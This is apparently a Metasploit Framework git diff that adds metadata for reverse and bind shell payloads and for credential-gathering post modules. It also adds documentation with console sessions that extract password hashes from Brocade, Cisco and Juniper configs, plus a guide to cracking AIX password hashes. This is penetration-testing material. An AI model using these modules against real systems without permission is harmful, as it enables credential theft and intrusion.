"path": "/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb",
"is_install_path": true,
"ref_name": "windows/smb/ms09_050_smb2_negotiate_func_index",
@@ -140903,6 +143318,42 @@
},
"needs_cleanup": false
},
"payload_cmd/unix/bind_jjs": {
"name": "Unix Command Shell, Bind TCP (via jjs)",
"fullname": "payload/cmd/unix/bind_jjs",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"conerpirate",
"bcoles <bcoles@gmail.com>"
],
"description": "Listen for a connection and spawn a command shell via jjs",
"references": [
"URL-https://gtfobins.github.io/gtfobins/jjs/",
"URL-https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/",
"URL-https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html"
],
"platform": "Unix",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-11-21 16:38:18 +0000",
"path": "/modules/payloads/singles/cmd/unix/bind_jjs.rb",
"is_install_path": true,
"ref_name": "cmd/unix/bind_jjs",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_cmd/unix/bind_lua": {
"name": "Unix Command Shell, Bind TCP (via Lua)",
"fullname": "payload/cmd/unix/bind_lua",
@@ -141637,6 +144088,42 @@
},
"needs_cleanup": false
},
"payload_cmd/unix/reverse_jjs": {
"name": "Unix Command Shell, Reverse TCP (via jjs)",
"fullname": "payload/cmd/unix/reverse_jjs",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"conerpirate",
"bcoles <bcoles@gmail.com>"
],
"description": "Connect back and create a command shell via jjs",
"references": [
"URL-https://gtfobins.github.io/gtfobins/jjs/",
"URL-https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/",
"URL-https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html"
],
"platform": "Unix",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-11-21 16:38:18 +0000",
"path": "/modules/payloads/singles/cmd/unix/reverse_jjs.rb",
"is_install_path": true,
"ref_name": "cmd/unix/reverse_jjs",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_cmd/unix/reverse_ksh": {
"name": "Unix Command Shell, Reverse TCP (via Ksh)",
"fullname": "payload/cmd/unix/reverse_ksh",
@@ -142561,7 +145048,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-04-26 08:40:07 +0000",
"mod_time": "2019-10-05 14:13:38 +0000",
"path": "/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell_bind_tcp",
@@ -142595,7 +145082,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-04-26 08:40:07 +0000",
"mod_time": "2019-10-05 14:13:38 +0000",
"path": "/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell_reverse_tcp",
@@ -149012,7 +151499,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-10-22 18:20:45 +0000",
"mod_time": "2019-09-03 18:25:26 +0000",
"path": "/modules/payloads/singles/php/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "php/meterpreter_reverse_tcp",
@@ -149211,7 +151698,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-10-10 22:08:26 +0000",
"path": "/modules/payloads/stagers/python/reverse_http.rb",
"is_install_path": true,
"ref_name": "python/meterpreter/reverse_http",
@@ -149244,7 +151731,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-10-10 22:08:26 +0000",
"path": "/modules/payloads/stagers/python/reverse_https.rb",
"is_install_path": true,
"ref_name": "python/meterpreter/reverse_https",
@@ -149412,7 +151899,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-02-11 15:41:04 +0000",
"mod_time": "2019-10-10 22:08:26 +0000",
"path": "/modules/payloads/singles/python/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "python/meterpreter_reverse_http",
@@ -149445,7 +151932,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-02-11 15:41:04 +0000",
"mod_time": "2019-10-10 22:08:26 +0000",
"path": "/modules/payloads/singles/python/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "python/meterpreter_reverse_https",
@@ -152293,7 +154780,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-11 18:56:50 +0000",
"mod_time": "2019-09-03 18:25:26 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_bind_named_pipe",
@@ -152328,7 +154815,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-11-21 13:53:33 +0000",
"mod_time": "2019-09-03 18:25:26 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_bind_tcp",
@@ -152363,7 +154850,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-11-21 13:53:33 +0000",
"mod_time": "2019-09-23 08:45:43 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_reverse_http",
@@ -152398,7 +154885,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-11-21 13:53:33 +0000",
"mod_time": "2019-09-23 08:45:43 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_reverse_https",
@@ -152433,7 +154920,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-11-21 13:53:33 +0000",
"mod_time": "2019-09-03 18:25:26 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_reverse_ipv6_tcp",
@@ -152468,7 +154955,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-11-21 13:53:33 +0000",
"mod_time": "2019-09-03 18:25:26 +0000",
"path": "/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter_reverse_tcp",
@@ -154012,7 +156499,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-04-26 08:40:07 +0000",
"mod_time": "2019-10-05 14:13:38 +0000",
"path": "/modules/payloads/singles/windows/powershell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/powershell_bind_tcp",
@@ -154048,7 +156535,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-04-26 08:40:07 +0000",
"mod_time": "2019-10-05 14:13:38 +0000",
"path": "/modules/payloads/singles/windows/powershell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/powershell_reverse_tcp",
@@ -157216,7 +159703,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 17:37:33 +0000",
"mod_time": "2019-09-23 08:45:43 +0000",
"path": "/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "windows/x64/meterpreter_reverse_http",
@@ -157251,7 +159738,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 17:37:33 +0000",
"mod_time": "2019-09-23 08:45:43 +0000",
"path": "/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "windows/x64/meterpreter_reverse_https",
@@ -157389,7 +159876,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-04-26 08:40:07 +0000",
"mod_time": "2019-10-05 14:13:38 +0000",
"path": "/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/x64/powershell_bind_tcp",
@@ -157424,7 +159911,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-04-26 08:40:07 +0000",
"mod_time": "2019-10-05 14:13:38 +0000",
"path": "/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/x64/powershell_reverse_tcp",
@@ -158340,6 +160827,41 @@
},
"needs_cleanup": null
},
"post_android/gather/hashdump": {
"name": "Android Gather Dump Password Hashes for Android Systems",
"fullname": "post/android/gather/hashdump",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"h00die",
"timwr"
],
"description": "Post Module to dump the password hashes for Android System. Root is required.\n To perform this operation, two things are needed. First, a password.key file\n is required as this contains the hash but no salt. Next, a sqlite3 database\n is needed (with supporting files) to pull the salt from. Combined, this\n creates the hash we need. Samsung based devices change the hash slightly.",
"references": [
"URL-https://www.pentestpartners.com/security-blog/cracking-android-passwords-a-how-to/",
"URL-https://hashcat.net/forum/thread-2202.html"
],
"platform": "Android",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-11-17 13:44:19 +0000",
"path": "/modules/post/android/gather/hashdump.rb",
"is_install_path": true,
"ref_name": "android/gather/hashdump",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"post_android/gather/sub_info": {
"name": "extracts subscriber info from target device",
"fullname": "post/android/gather/sub_info",
@@ -158542,6 +161064,39 @@
},
"needs_cleanup": null
},
"post_brocade/gather/enum_brocade": {
"name": "Brocade Gather Device General Information",
"fullname": "post/brocade/gather/enum_brocade",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"h00die"
],
"description": "This module collects Brocade device information and configuration.\n This module has been tested against an icx6430 running 08.0.20T311.",
"references": [
],
"platform": "Brocade",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-06-01 22:23:01 +0000",
"path": "/modules/post/brocade/gather/enum_brocade.rb",
"is_install_path": true,
"ref_name": "brocade/gather/enum_brocade",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"post_cisco/gather/enum_cisco": {
"name": "Cisco Gather Device General Information",
"fullname": "post/cisco/gather/enum_cisco",
@@ -158905,6 +161460,39 @@
},
"needs_cleanup": null
},
"post_hardware/automotive/mazda_ic_mover": {
"name": "Mazda 2 Instrument Cluster Accelorometer Mover",
"fullname": "post/hardware/automotive/mazda_ic_mover",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"Jay Turla"
],
"description": "This module moves the needle of the accelorometer and speedometer of the Mazda 2 instrument cluster",
"references": [
],
"platform": "Hardware",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-09-13 09:32:21 +0000",
"path": "/modules/post/hardware/automotive/mazda_ic_mover.rb",
"is_install_path": true,
"ref_name": "hardware/automotive/mazda_ic_mover",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"post_hardware/automotive/pdt": {
"name": "Check For and Prep the Pyrotechnic Devices (Airbags, Battery Clamps, etc.)",
"fullname": "post/hardware/automotive/pdt",
@@ -159360,7 +161948,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-09-17 16:00:04 +0000",
"mod_time": "2019-09-24 13:51:54 +0000",
"path": "/modules/post/linux/dos/xen_420_dos.rb",
"is_install_path": true,
"ref_name": "linux/dos/xen_420_dos",
@@ -159536,6 +162124,39 @@
},
"needs_cleanup": null
},
"post_linux/gather/enum_nagios_xi": {
"name": "Nagios XI Enumeration",
"fullname": "post/linux/gather/enum_nagios_xi",
"aliases": [
],
"rank": 300,
"disclosure_date": "2018-04-17",
"type": "post",
"author": [
"Cale Smith"
],
"description": "NagiosXI may store credentials of the hosts it monitors. This module extracts these credentials,\n creating opportunities for lateral movement.",
"references": [
],
"platform": "Linux",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-10-10 16:57:49 +0000",
"path": "/modules/post/linux/gather/enum_nagios_xi.rb",
"is_install_path": true,
"ref_name": "linux/gather/enum_nagios_xi",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": true
},
"post_linux/gather/enum_network": {
"name": "Linux Gather Network Information",
"fullname": "post/linux/gather/enum_network",
@@ -160159,7 +162780,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-09-23 17:26:36 +0000",
"path": "/modules/post/linux/manage/sshkey_persistence.rb",
"is_install_path": true,
"ref_name": "linux/manage/sshkey_persistence",
@@ -160264,7 +162885,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-09-30 15:45:52 +0000",
"mod_time": "2019-09-23 17:26:36 +0000",
"path": "/modules/post/multi/escalate/metasploit_pcaplog.rb",
"is_install_path": true,
"ref_name": "multi/escalate/metasploit_pcaplog",
@@ -160842,6 +163463,41 @@
},
"needs_cleanup": null
},
"post_multi/gather/grub_creds": {
"name": "Gather GRUB Password",
"fullname": "post/multi/gather/grub_creds",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"Garvit Dewan <d.garvit@gmail.com>",
"Taeber Rapczak <taeber@rapczak.com>",
"Shelby Pace"
],
"description": "This module gathers GRUB passwords from GRUB bootloader config files.",
"references": [
"URL-https://help.ubuntu.com/community/Grub2/Passwords#Password_Encryption"
],
"platform": "BSD,Linux,OSX,Solaris,Unix",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-10-29 04:31:12 +0000",
"path": "/modules/post/multi/gather/grub_creds.rb",
"is_install_path": true,
"ref_name": "multi/gather/grub_creds",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"post_multi/gather/irssi_creds": {
"name": "Multi Gather IRSSI IRC Password(s)",
"fullname": "post/multi/gather/irssi_creds",
@@ -161230,7 +163886,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-10-05 14:13:38 +0000",
"path": "/modules/post/multi/gather/resolve_hosts.rb",
"is_install_path": true,
"ref_name": "multi/gather/resolve_hosts",
@@ -161396,7 +164052,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-11-18 21:28:47 +0000",
"path": "/modules/post/multi/gather/ssh_creds.rb",
"is_install_path": true,
"ref_name": "multi/gather/ssh_creds",
@@ -162163,13 +164819,13 @@
"references": [
],
"platform": "AIX,Android,Apple_iOS,BSD,BSDi,Cisco,Firefox,FreeBSD,HPUX,Hardware,Irix,Java,JavaScript,Juniper,Linux,Mainframe,Multi,NetBSD,Netware,NodeJS,OSX,OpenBSD,PHP,Python,R,Ruby,Solaris,Unifi,Unix,Unknown,Windows",
"platform": "AIX,Android,Apple_iOS,BSD,BSDi,Brocade,Cisco,Firefox,FreeBSD,HPUX,Hardware,Irix,Java,JavaScript,Juniper,Linux,Mainframe,Multi,NetBSD,Netware,NodeJS,OSX,OpenBSD,PHP,Python,R,Ruby,Solaris,Unifi,Unix,Unknown,Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-05-05 04:41:58 +0000",
"mod_time": "2019-10-28 03:24:20 +0000",
"path": "/modules/post/multi/recon/local_exploit_suggester.rb",
"is_install_path": true,
"ref_name": "multi/recon/local_exploit_suggester",
@@ -162369,7 +165025,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-04-18 14:22:32 +0000",
"mod_time": "2019-09-23 17:26:36 +0000",
"path": "/modules/post/osx/gather/apfs_encrypted_volume_passwd.rb",
"is_install_path": true,
"ref_name": "osx/gather/apfs_encrypted_volume_passwd",
@@ -163421,12 +166077,12 @@
"EDB-44906"
],
"platform": "Windows",
"arch": "",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-10-23 17:15:34 +0000",
"mod_time": "2019-09-24 12:15:43 +0000",
"path": "/modules/post/windows/escalate/unmarshal_cmd_exec.rb",
"is_install_path": true,
"ref_name": "windows/escalate/unmarshal_cmd_exec",
@@ -164170,7 +166826,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-09-10 15:04:22 +0000",
"mod_time": "2019-10-05 14:13:38 +0000",
"path": "/modules/post/windows/gather/credentials/gpp.rb",
"is_install_path": true,
"ref_name": "windows/gather/credentials/gpp",
@@ -165986,7 +168642,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-11-16 04:07:01 +0000",
"path": "/modules/post/windows/gather/enum_hostfile.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_hostfile",
@@ -166786,7 +169442,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-10-05 14:26:34 +0000",
"path": "/modules/post/windows/gather/forensics/recovery_files.rb",
"is_install_path": true,
"ref_name": "windows/gather/forensics/recovery_files",
@@ -168133,40 +170789,6 @@
},
"needs_cleanup": null
},
"post_windows/manage/payload_inject": {
"name": "Windows Manage Memory Payload Injection Module",
"fullname": "post/windows/manage/payload_inject",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"Carlos Perez <carlos_perez@darkoperator.com>",
"David Kennedy \"ReL1K\" <kennedyd013@gmail.com>"
],
"description": "This module will inject into the memory of a process a specified windows payload.\n If a payload or process is not provided one will be created by default\n using a reverse x86 TCP Meterpreter Payload.",
"references": [
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-07-27 19:02:33 +0000",
"path": "/modules/post/windows/manage/payload_inject.rb",
"is_install_path": true,
"ref_name": "windows/manage/payload_inject",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"post_windows/manage/peinjector": {
"name": "Peinjector",
"fullname": "post/windows/manage/peinjector",
@@ -168288,7 +170910,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-05-31 17:44:35 +0000",
"mod_time": "2019-09-23 17:26:36 +0000",
"path": "/modules/post/windows/manage/powershell/build_net_code.rb",
"is_install_path": true,
"ref_name": "windows/manage/powershell/build_net_code",
@@ -0,0 +1,50 @@
## General Notes
This module imports a Brocade configuration file into the database.
This is similar to `post/brocade/gather/enum_brocade` only access isn't required,
and assumes you already have the file.
Example files for import can be found on git, like [this](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/brocade_08.0.30hT311_ic_icx6430.conf).
## Verification Steps
1. Have a Brocade configuration file
2. Start `msfconsole`
3. `use auxiliary/admin/brocade/brocade_config`
4. `set RHOST x.x.x.x`
5. `set CONFIG /tmp/file.config`
6. `run`
## Options
**RHOST**
Needed for setting services and items to. This is relatively arbitrary.
**CONFIG**
File path to the configuration file.
## Scenarios
```
msf5 > wget https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/brocade_08.0.30hT311_ic_icx6430.conf -o /dev/null -O /tmp/brocade.conf
msf5 > use auxiliary/admin/brocade/brocade_config
msf5 auxiliary(admin/brocade/brocade_config) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 auxiliary(admin/brocade/brocade_config) > set config /tmp/brocade.conf
config => /tmp/brocade.conf
msf5 auxiliary(admin/brocade/brocade_config) > run
[*] Running module against 127.0.0.1
[*] Importing config
[+] password-display is enabled, hashes will be displayed in config
[+] enable password hash $1$QP3H93Wm$uxYAs2HmAK0lQiP3ig5tm.
[+] User brocade of type 8 found with password hash $1$f/uxhovU$dST5lNskZCPQe/5QijULi0.
[+] ENCRYPTED SNMP community $MlVzZCFAbg== with permissions ro
[+] ENCRYPTED SNMP community $U2kyXj1k with permissions rw
[+] Config import successful
[*] Auxiliary module execution completed
```
@@ -0,0 +1,51 @@
## General Notes
This module imports a Cisco configuration file into the database.
This is similar to `post/cisco/gather/enum_cisco` only access isn't required,
and assumes you already have the file.
Example files for import can be found on git, like [this](https://raw.githubusercontent.com/GaetanLongree/MASI-ProjetAvanceReseau/3cf1d9a93828d5f44ee1bc4e4c01411e416892c5/Los%20Angeles/LA_EDGE_D.txt)
or from [Cisco](https://www.cisco.com/en/US/docs/routers/access/800/850/software/configuration/guide/sampconf.html).
## Verification Steps
1. Have a Cisco configuration file
2. Start `msfconsole`
3. `use auxiliary/admin/cisco/cisco_config`
4. `set RHOST x.x.x.x`
5. `set CONFIG /tmp/file.config`
6. `run`
## Options
**RHOST**
Needed for setting services and items to. This is relatively arbitrary.
**CONFIG**
File path to the configuration file.
## Scenarios
```
root@metasploit-dev:~/metasploit-framework# wget https://raw.githubusercontent.com/GaetanLongree/MASI-ProjetAvanceReseau/3cf1d9a93828d5f44ee1bc4e4c01411e416892c5/Los%20Angeles/LA_EDGE_D.txt -O /tmp/LA_EDGE_D.txt -o /dev/null
root@metasploit-dev:~/metasploit-framework# ./msfconsole
[*] Starting persistent handler(s)...
msf5 > use auxiliary/admin/cisco/cisco_config
msf5 auxiliary(admin/cisco/cisco_config) > set config /tmp/LA_EDGE_D.txt
config => /tmp/LA_EDGE_D.txt
msf5 auxiliary(admin/cisco/cisco_config) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 auxiliary(admin/cisco/cisco_config) > run
[*] Running module against 127.0.0.1
[*] Importing config
[+] 127.0.0.1:22 MD5 Encrypted Enable Password: $1$mERr$DWwx4W/5HXD2oail62IeB1
[+] 127.0.0.1:22 Username 'Waldo' with MD5 Encrypted Password: $1$mERr$DWwx4W/5HXD2oail62IeB1
[+] Config import successful
[*] Auxiliary module execution completed
```
@@ -1,4 +1,4 @@
## Intro
## Introduction
Cisco Data Center Network Manager exposes a servlet to download files on /fm/downloadServlet.
An authenticated user can abuse this servlet to download arbitrary files as root by specifying
@@ -0,0 +1,91 @@
## General Notes
This module imports a Juniper configuration file into the database.
This is similar to `post/juniper/gather/enum_juniper` only access isn't required,
and assumes you already have the file.
Example files for import can be found on git, like [this (junos)](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ex2200.config)
or [this (screenos)](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ssg5_screenos.conf).
## Verification Steps
1. Have a Juniper configuration file
2. Start `msfconsole`
3. `use auxiliary/admin/juniper/juniper_config`
4. `set RHOST x.x.x.x`
5. `set CONFIG /tmp/file.config`
6. `set action junos`
7. `run`
## Options
**RHOST**
Needed for setting services and items to. This is relatively arbitrary.
**CONFIG**
File path to the configuration file.
**Action**
`JUNOS` for JunOS config file, and `SCREENOS` for ScreenOS config file.
## Scenarios
### JunOS
```
root@metasploit-dev:~/metasploit-framework# wget -o /dev/null -O /tmp/juniper_ex2200.config https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ex2200.config
root@metasploit-dev:~/metasploit-framework# ./msfconsole
[*] Starting persistent handler(s)...
msf5 > use auxiliary/admin/juniper/gather/juniper_config
msf5 auxiliary(admin/juniper/gather/juniper_config) > set config /tmp/juniper_ex2200.config
config => /tmp/juniper_ex2200.config
msf5 auxiliary(admin/juniper/gather/juniper_config) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 auxiliary(admin/juniper/gather/juniper_config) > run
[*] Running module against 127.0.0.1
[*] Importing config
[+] root password hash: $1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E.
[+] User 2000 named newuser in group super-user found with password hash $1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/.
[+] User 2002 named newuser2 in group operator found with password hash $1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0.
[+] User 2003 named newuser3 in group read-only found with password hash $1$1.YvKzUY$dcAj99KngGhFZTpxGjA93..
[+] User 2004 named newuser4 in group unauthorized found with password hash $1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/.
[+] SNMP community read with permissions read-only
[+] SNMP community public with permissions read-only
[+] SNMP community private with permissions read-write
[+] SNMP community secretsauce with permissions read-write
[+] SNMP community hello there with permissions read-write
[+] radius server 1.1.1.1 password hash: $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV
[+] PPTP username 'pap_username' hash $9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR via PAP
[+] Config import successful
[*] Auxiliary module execution completed
```
### ScreenOS
```
root@metasploit-dev:~/metasploit-framework# wget -o /dev/null -O /tmp/screenos.conf https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ssg5_screenos.conf
root@metasploit-dev:~/metasploit-framework# ./msfconsole
[*] Starting persistent handler(s)...
msf5 > use auxiliary/admin/juniper/gather/juniper_config
msf5 auxiliary(admin/juniper/gather/juniper_config) > set config /tmp/screenos.conf
config => /tmp/screenos.conf
msf5 auxiliary(admin/juniper/gather/juniper_config) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 auxiliary(admin/juniper/gather/juniper_config) > set action SCREENOS
action => SCREENOS
msf5 auxiliary(admin/juniper/gather/juniper_config) > run
[*] Running module against 127.0.0.1
[*] Importing config
[+] Admin user netscreen found with password hash nKVUM2rwMUzPcrkG5sWIHdCtqkAibn
[+] User 1 named testuser found with password hash auth. Enable permission: 02b0jt2gZGipCiIEgl4eainqZIKzjSNQYLIwE=
[+] Config import successful
[*] Auxiliary module execution completed
```
@@ -1,4 +1,4 @@
## Intro
## Introduction
This module acts as a simple remote control for Belkin Wemo-enabled
Crock-Pots by implementing a subset of the functionality provided by the
@@ -0,0 +1,292 @@
## Vulnerable Application
This module attempts to use a password cracker to decode AIX
based password hashes, such as:
* `DES` based passwords
Formats:
| Common | John | Hashcat |
|--------| ---------|---------|
| des | descript | 1500 |
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with a `des` password in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/crack_aix```
4. Do: set cracker of choice
5. Do: ```run```
6. You should hopefully crack a password.
## Actions
**john**
Use john the ripper (default).
**hashcat**
Use hashcat.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CRACKER_PATH**
The absolute path to the cracker executable. Default behavior is to search `path`.
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**Fork**
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
**INCREMENTAL**
Run the cracker in incremental mode. Default is `true`
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**SHOWCOMMAND**
Show the command being used run from the command line for debugging. Default is `false`
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
**WORDLIST**
Run the cracker in dictionary/wordlist mode. Default is `true`
## Scenarios
### Sample Data
The following is data which can be used to test integration, including adding entries
to a wordlist and pot file to test various aspects of the cracker.
```
creds add user:des2_password hash:rEK1ecacw.7.c jtr:des
creds add user:des_password hash:rEK1ecacw.7.c jtr:des
creds add user:des_55 hash:rDpJV6xlcXxRM jtr:des
creds add user:des_pot_55 hash:fakeV6xlcXxRM jtr:des
creds add user:des_passphrase hash:qiyh4XPJGsOZ2MEAyLkfWqeQ jtr:des
echo "fakeV6xlcXxRM:55" >> /root/.msf4/john.pot
echo "test" > /tmp/wordlist
echo "password" >> /tmp/wordlist
```
### John the Ripper
